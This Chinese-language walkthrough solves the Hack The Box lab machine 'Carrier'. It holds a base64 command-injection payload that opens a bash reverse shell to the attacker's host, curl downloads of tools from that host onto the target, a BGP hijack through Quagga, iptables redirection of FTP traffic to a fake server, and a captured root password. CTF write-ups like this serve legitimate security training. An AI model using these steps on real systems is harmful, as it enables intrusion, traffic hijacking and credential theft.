【HTB靶場系列】靶機Carrier的滲透測試

  • 2019 年 10 月 6 日
  • 筆記

Hack The Box是一個CTF挑戰靶機平台,在線滲透測試平台。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。

https://www.hackthebox.eu/

平台上有很多靶機,從易到難,黑客每入侵一台機器都會獲得相應積分,通過積分排名設有名人堂。今天要實驗的是靶機Carrier。

目標靶機IP:10.10.10.105

本機IP:10.10.13.133

首先利用Nmap對目標靶機進行信息收集

1. nmap -sC -F -sV 10.10.10.105

-sC:通過默認腳本進行掃描

-sV:掃描目標主機端口上運行軟件的版本

-F:掃描100個最有可能開放的端口

顯示靶機開放了21,22,80,3306端口,但是21,3306端口被過濾了。22端口是SSH需要登陸,我們先從80端口開始看看能不能得到有用的信息

先打開網頁,是一個登陸頁面,有2個Error提示45007,45009,去Google查詢類似的關鍵詞發現沒有什麼可用信息,應該是自定義的WEB框架,

我們用gobuster來進行目錄爆破

1. gobuster -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q

先看下tools

/tools:

點進去顯示「許可過期,正在退出」

看下doc

/doc:

一個網絡架構圖還有一個是錯誤代碼描述的PDF,根據剛剛網頁提示的錯誤代碼我們查下對應的解釋

Error 4005:守護進程沒有響應

Error 4009:配置中沒有設置默認的用戶名和密碼(查看機箱序列號)

看下/debug

沒有什麼特別有用的信息

根據那種圖可能還有別的設備,這樣我想起了snmp服務

所以我們掃下靶機UDP的端口看看有沒有什麼有用的信息

1. nmap -sU 10.10.10.105

果然目標機器是有開啟snmp,那麼我們用snmpwalk來進行弱口令利用

1. snmpwalk -v 1 -c public 10.10.10.105

這個NET_45JDX23可能就是所謂的序列號

我們回到登陸進行登陸。

Username:嘗試常見的默認用戶名:admin, root…..

Password: NET_45JDX23

頁面顯示我們的憑證是無效的

我們進入Tickets

通過這條信息 我們知道了3個網段(大概就是剛剛那個網絡架構圖),還有一個FTP:10.120.15.0/24

然後我們在點Diagnosticd,提示我們憑證無效,但是可以使用檢查功能

點下Verify status

這個部分很像是遠程命令執行。

我們用BURP抓包看下信息

Check用base64轉換下

很明顯這個quagga就是上面輸出信息的一部分,查找相關資料,發現這是一款路由器軟件

那麼我們設置對check這個參數進行攻擊,我們把root的base64編碼寫進去

返回信息如下

那麼我們在試着輸入 root;echo hello

如圖發現我們是可以用;進行多語句的執行,那麼我們用bash反彈一個shell

現在用kali監聽下9001

然後轉換下編碼

這裡輸出cm9vdDtiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEzLjEzMy85MDAxIDA+JjE=

需要注意的是需要把裏面的+和=進入URL編碼轉換才行要不然會出錯

這樣我們就得到一個shell了

這樣我們就可以得到user的flag了

接下來就是獲得根ROOT的權限

從之前的信息我們了解到有一台FTP服務器:10.120.15.0/24

我們試着ping 10.120.15.1看看能不能ping通

我們需要在靶機上進行掃描,當然你可以用msf添加路由的方式掃描,這裡我用另一個種方法把nmap的二進制靜態執行文件上傳到靶機進行掃描

Github:https://github.com/andrew-d/static-binaries

然後我們用python的SimpleHTTPServer模塊建立服務然後靶機去下載這個文件

然後再靶機分別輸入如下命令

1. curl http://10.10.13.133:8000/nmap -o nmap

2. chmod +x nmap

然後我們執行

1. ./nmap -p 21 10.120.15.0/24

發現沒有探測到,可能是目標禁止ICMP數據包

那麼我們加個-Pn參數,同時把結果導出

1. ./nmap -Pn -vvv -p 21 10.120.15.0/24 –open

-Pn:不進行ping直接掃描

-vvv:顯示詳細過程

–open:只顯示端口open狀態信息

我們發現 10.120.15.10是開放21端口的

然後我們嘗試下FTP匿名登陸,登陸的時候可能不會有回顯,需要自己打

無法執行,之前那個ticks也說這個FTP出現了問題。

我們需要通過劫持BGP欺騙AS200將數據傳輸給我們的靶機,然後開啟假的FTP服務,之前的信息有顯示到有人會定期訪問這個FTP,這樣我們就可以竊取到憑證

現在的情況大概就是圖上這個樣子

我們在終端分別輸入

1. vtysh (quagga的命令)

2. configure terminal(進入配置模式)

3. do show run (顯示配置信息)

我們需要增加一個network就是把剛剛FTP的那個網段加進來

這裡我直接編輯/etc/ quagga下的bgpd.conf文件內容也就上面顯示的內容

我們在自己的kali上編輯下內容在裏面加一條10.120.15.0/25

然後用python的SimpleHTTPServer服務上傳到靶機裏面去跟nmap一樣

把之前的文件重命名,然後把我們的文件下載下來

1. curl http://10.10.13.133:8000/bgpd.conf -o bgpd.con

然後在iptales上添加記錄並重啟quagga服務

1. iptables -t nat -A PREROUTING -p tcp –dport 21 -j DNAT –to-destination 10.10.14.65:21

2. iptables -t nat -A POSTROUTING -j MASQUERADE

3. service quagga restart

然後我們在下載一個假的ftp監聽21端口來得到憑證

Github:https://github.com/b1ngda0/FtpServicePython/

不久後就能得到賬號密碼

root:BGPtelc0rout1ng

然後ssh登陸並得到root flag

作者:是大方子

來源:Ms08067安全實驗室